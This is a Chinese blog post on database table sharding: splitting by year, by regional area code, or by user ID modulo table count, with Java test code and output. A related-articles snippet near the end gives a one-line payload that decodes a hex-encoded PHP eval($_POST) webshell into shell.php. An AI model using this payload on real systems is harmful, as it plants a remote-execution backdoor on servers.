聊聊项目中分表的实际应用-2022新项目

news/2024/5/3 12:58:36/文章来源:https://www.cnblogs.com/yilangcode/p/16609845.html

一、业务场景

  Web项目开发中,分表是时常会使用到的方式。分表的一个目的是为了缓解单表数据量过大,导致操作时

性能下降的问题。可是在实际开发中应该如何进行进行分表呢?那种分表方式更符合实际呢?

二、需求分析

  网上随便去搜索一下就会发现有很多的分表方式,比如常规的垂直拆分或者水平拆分。垂直拆分的方式就是将一个表中

的字段拆分到两张表中,可以将需要经常使用的字段放在一个表中,不经常使用的字段放在另一个表中,查询的时候需要两

张表同时进行取数据进行查询。操作比较麻烦,理论上可行,实际开发中自己从没遇到过这么分表的。第二种方式是进行

水平拆分,其中一种方式是可以按照时间段进行拆分,比如按照年份进行拆分,不同的年份查询不同的表。这种分法在实际

的项目开发中遇到过,比如一些统计表中使用的就是这种方式,按照年为单位来进行数据统计操作。示例为tabl_2022,taible_2023,

table_2024.

三、解决方案

  自己在真实开发中还遇到过其他的分表方案,也主要是应对数据量比较大的情况来进行处理的。以贵州省为例,分为各地州市,

在建表的时候,以各地州市的区号作为表的后缀进行分表。这样在查询的时候,就可以根据不同的表去查询需要的数据,由于数据

分散在各个地州市的表中,查询的效率也会高很多。这种方式有特定的应用场景,除了根据地州市进行分表外,也可以根据其他方式,

比如说省份编号,如果是全国性的项目。总之就是根据实际数据的特点来进行具体的分表操作。示例table_0851,table_0852,table_0853,

table_0854,table_0855,table_0856,table_0857,table_0858,table_0859.

自己还遇到过另外一种分表方式也比较实用,那就是先大致确定要创建多少张表,然后使用表中的一个具体的字段比如

用户id对表的总数取余,就可以知道将数据存储在哪一张表当中。举个简单的示例,如果需要分表总数为30,表的后缀

可以是029。如果用户ID130,就会均匀的散落在这张表当中。测试代码如下:

 

int uerId;
int tableTotal = 30;
int tableSuffix;
for(int i = 0; i < 30; i++) {
    uerId = i + 1;
    tableSuffix = uerId % tableTotal;

    System.out.println("用户IDuerId->" + uerId + ";表后缀tableSuffix->" + tableSuffix);
}

测试结果如下:

用户IDuerId->1;表后缀tableSuffix->1

用户IDuerId->2;表后缀tableSuffix->2

用户IDuerId->3;表后缀tableSuffix->3

用户IDuerId->4;表后缀tableSuffix->4

用户IDuerId->5;表后缀tableSuffix->5

用户IDuerId->6;表后缀tableSuffix->6

用户IDuerId->7;表后缀tableSuffix->7

用户IDuerId->8;表后缀tableSuffix->8

用户IDuerId->9;表后缀tableSuffix->9

用户IDuerId->10;表后缀tableSuffix->10

用户IDuerId->11;表后缀tableSuffix->11

用户IDuerId->12;表后缀tableSuffix->12

用户IDuerId->13;表后缀tableSuffix->13

用户IDuerId->14;表后缀tableSuffix->14

用户IDuerId->15;表后缀tableSuffix->15

用户IDuerId->16;表后缀tableSuffix->16

用户IDuerId->17;表后缀tableSuffix->17

用户IDuerId->18;表后缀tableSuffix->18

用户IDuerId->19;表后缀tableSuffix->19

用户IDuerId->20;表后缀tableSuffix->20

用户IDuerId->21;表后缀tableSuffix->21

用户IDuerId->22;表后缀tableSuffix->22

用户IDuerId->23;表后缀tableSuffix->23

用户IDuerId->24;表后缀tableSuffix->24

用户IDuerId->25;表后缀tableSuffix->25

用户IDuerId->26;表后缀tableSuffix->26

用户IDuerId->27;表后缀tableSuffix->27

用户IDuerId->28;表后缀tableSuffix->28

用户IDuerId->29;表后缀tableSuffix->29

用户IDuerId->30;表后缀tableSuffix->0

数据会均匀的分散在各个表当中。随机测试用户ID,代码如下,

public static void main(String[] args) {
    int uerId;
    int tableTotal = 30;
    int tableSuffix;
    for(int i = 0; i < 30; i++) {
        uerId = createUserId();
        tableSuffix = uerId % tableTotal;
        System.out.println("用户IDuerId->" + uerId + ";表后缀tableSuffix->" + tableSuffix);
    }
}

private static Random random = new Random();

public static int createUserId() {
    return random.nextInt(200000) + 1;
}

测试结果如何预期,数据也会按照一定的规律散落在不同的表当中,测试结果如下

用户IDuerId->54631;表后缀tableSuffix->1

用户IDuerId->128276;表后缀tableSuffix->26

用户IDuerId->83817;表后缀tableSuffix->27

用户IDuerId->68859;表后缀tableSuffix->9

用户IDuerId->182986;表后缀tableSuffix->16

用户IDuerId->103205;表后缀tableSuffix->5

用户IDuerId->70934;表后缀tableSuffix->14

用户IDuerId->146739;表后缀tableSuffix->9

用户IDuerId->118293;表后缀tableSuffix->3

用户IDuerId->149639;表后缀tableSuffix->29

用户IDuerId->141622;表后缀tableSuffix->22

用户IDuerId->159620;表后缀tableSuffix->20

用户IDuerId->167884;表后缀tableSuffix->4

用户IDuerId->115932;表后缀tableSuffix->12

用户IDuerId->68012;表后缀tableSuffix->2

用户IDuerId->143793;表后缀tableSuffix->3

用户IDuerId->159777;表后缀tableSuffix->27

用户IDuerId->138104;表后缀tableSuffix->14

用户IDuerId->85888;表后缀tableSuffix->28

用户IDuerId->5910;表后缀tableSuffix->0

用户IDuerId->138018;表后缀tableSuffix->18

用户IDuerId->152221;表后缀tableSuffix->1

用户IDuerId->117515;表后缀tableSuffix->5

用户IDuerId->22838;表后缀tableSuffix->8

用户IDuerId->183603;表后缀tableSuffix->3

用户IDuerId->99599;表后缀tableSuffix->29

用户IDuerId->158027;表后缀tableSuffix->17

用户IDuerId->111455;表后缀tableSuffix->5

用户IDuerId->39728;表后缀tableSuffix->8

用户IDuerId->61524;表后缀tableSuffix->24

这种分表方式很好的实现了对数据的分表存储和查询操作。在操作的时候传入表后缀,然后使用Mybatis中提供的

拦截器,在查询的时候进行统一的替换表名,可以查看之前写的博文 https://www.cnblogs.com/yilangcode/p/16482816.html

这样就可以很好的实现分表操作。这种方式也是项目中正在使用的一种方式。

具体的分表操作可以根据实际的需求进行选用,如果有其他方法进行分表,欢迎各位留言讨论。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_2397.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

数组

概念:一组相同数据的容器相同类型:Java语言中要求存入数组的数据类型必须一直 容器:类似于生活中存放物品的容器,在编程世界中,容器可以用来存放数据 一组:容器中可以存放多个数据声明数组变量int [] ageArray;创建数组对象ageArray = new int[5];静态创建数组int [] ageArray …

11.3 垃圾回收相关概念

目录11.3.1 System.gc()的理解11.3.2 内存溢出与内存泄漏内存溢出(OOM)内存泄漏(Memory Leak)11.3.3 Stop The World11.3.4 垃圾回收的并行与并发并发(Concurrent)并行(Parallel)并发 VS 并行11.3.5 安全点与安全区域安全点(Safepoint)安全区域(Safe Region)引用概…

过滤符号,Linux下写入Webshell

最近的学习生活中,看到了好兄弟写出的这么一句话让我陷入沉思,是否>被过滤,就意味着写入不了Webshell了?于是有了下面的Payload 只要|没被过滤,就有可能写入成功! echo 3c3f70687020406576616c28245f504f53545b277479736563275d293b3f3e|xxd -ps -r|tee shell.php

《GB27951-2011》PDF下载

《GB27951-2011 皮肤消毒剂卫生要求》PDF下载 《GB27951-2011》简介本标准规定了皮肤消毒剂的技术要求、试验方法、使用方法、标签和说明书以及使用注意事项; 本标准适用于完整皮肤和破损皮肤消毒的消毒剂,不适用于手消毒剂。 《GB27951-2011》截图 《GB27951-2011》下载 网…

java中静态成员变量、静态代码块static执行时机

java中静态成员变量与静态块会比构造函数先执行,并且只会执行一次,一个类中有多个static修饰的成员变量或者代码块,会按照代码中先后的顺序执行 请看下面的示例:public class Test {public static void main(String[] args) {Out out1 = new Out();} }public class Out {st…

软件测试入门二(了解软件)

一、什么是软件 软件:通过大代码逻辑开发出来的程序,称为软件。二、软件的种类 web端:电脑、手机的浏览器可以打开的网页,就是web的软件。比如:公司官网、淘宝网等等 客户端:电脑客户端:需要在电脑上进行安装的软件,比如:PC端的英雄联盟、QQ等等,手机端(移动端、app…

解决uni-app小程序导航栏标题不显示问题

用HBuilder开发小程序 创建页面时默认配置了导航文字和下拉刷新 默认导航文字为空 局部配置会覆盖全局配置,所以我们在globalStyle中做的导航全局配置只有背景颜色会生效,文字被页面的局部配置覆盖掉了 可以将页面的配置删掉或加上内容 删掉就是显示全局配置的文字,加上内容…

学习 day1

数据和指令是分开区域存放的,存放指令区域的地方称为「正文段」编译器会把 a = 1 + 2 翻译成 4 条指令,存放到正文段中。如图,这 4 条指令被存放到了 0x200 ~ 0x20c 的区域中: 1、0x200 的内容是 load 指令将 0x100 地址中的数据 1 装入到寄存器 R0; 2、0x204 的内容是 lo…

flex align-items 属性项目在交叉轴上对齐

1,align-items: flex-start;2,align-items: flex-end;2,align-items: center;2,align-items: baseline;2,align-items: stretch;

java对象转json

java对象转json json解析器:常见的解析器:Jsonlib,Gson,fastjson,jackson 使用步骤:1、导入jackson的相关jar包2、创建Jackson核心对象 ObjectMapper3、调用ObjectMapper的相关方法进行转换 转换方法: writeValue(参数1,obj); 参数1: File:将obj对象转换诶J…

Flex 布局 display:flex 与 inline-flex 区别

1.Flex布局 display:flex.bigbox{ width: 500px; height: 400px; background:#ff0000; display: flex; } .smallbox{ width: 100px; height: 100px; background: #f5f5f5; margin: 10px; }<span>flex</span> <div class="bigb…

Java核心知识体系4:AOP原理和切面应用

1 概述 我们所说的Aop(即面向切面编程),即面向接口,也面向方法,在基于IOC的基础上实现。 Aop最大的特点是对指定的方法进行拦截并增强,这种增强的方式不需要业务代码进行调整,无需侵入到业务代码中,使业务与非业务处理逻辑分离。 以Spring举例,通过事务的注解配置,Sp…

npm warn config global `--global`, `--local` are deprecated. use `--location=global` instead.

报错信息: npm warn config global `--global`, `--local` are deprecated. use `--location=global` instead. 报错截图: 如何弃用 npm WARN 配置全局 –global, –local。使用“–location=global”代替“错误发生? 当我尝试使用-g的全局命令时,只是尝试安装使用npm ins…

【面试题】循环打印红绿灯

循环打印红绿灯 点击打开视频讲解更加详细 红灯3秒后变成绿灯 绿灯5秒后变成黄灯 黄灯2秒后变成红灯案例: <template><div id="app"><div>循环打印红绿灯</div><div>红灯3秒后变成绿灯</div><div>绿灯5秒后变成黄灯</…

Python custom modify the __add__ method All In One

Python custom modify the __add__ method All In OnePython 改写 `__add__` 类方法Python custom modify the add method All In OnePython 改写 __add__ 类方法"""# class Juice: # def __init__(self, name, capacity): # self.name = name # …

高亮显示指定内容

问题:海量数据中,高亮显示下表第一行的内容。 解决:开始》条件格式》突出显示单元格规则》小于="id5" 原博客各种作……所以换阵地了,不过每篇都搬过来,实在有点累,想看就自己看吧:http://blog.sina.com.cn/pureiceshadow

项目压测数据

压测流程首先启动 locust 压测脚本 然后启动bus查分模拟脚本 收集数据 压测结束,清理数据采集的数据为:请求相关数据,如响应时间,请求总数据量 资源相关,请求时pod的数量以及实时cpu,内存消耗 请求数量数量,总请求数量,时间分布 apm请求记录,查询请求具体耗时 数据库信…

认识mtv

MTV设计模式 那么 Django 的 MTV 又是怎么回事呢?下面讲解 Django 的设计模式。Django 借鉴了经典的 MVC 模式,它也将交互的过程分为了 3 个层次,也就是 MTV 设计模式;Model:数据存储层,处理所有数据相关的业务,和数据库进行交互,并提供数据的增删改查; Template:模板…

《机器学习的数学修炼》

目录:第六章 线性回归: 1.1三种方法实现:import numpy as np import pandas as pd from scipy import statsdf = pd.read_csv("DBS_SingDollar.csv") # X = df[df.columns[0]] # y = df[df.columns[1]] X = df["DBS"] Y = df["SGD"] slope,in…

变量

变量声明 在ES6以前我们通常通过var来声明变量。首先要进行变量声明,然后再进行使用 var num = 123;//声明变量num,并且赋值为123var声明多个变量 var a = 10, b = 20, c; console.log(delete c, delete b); // false false console.log(a, b, c); // 10 20 undefined// 通过…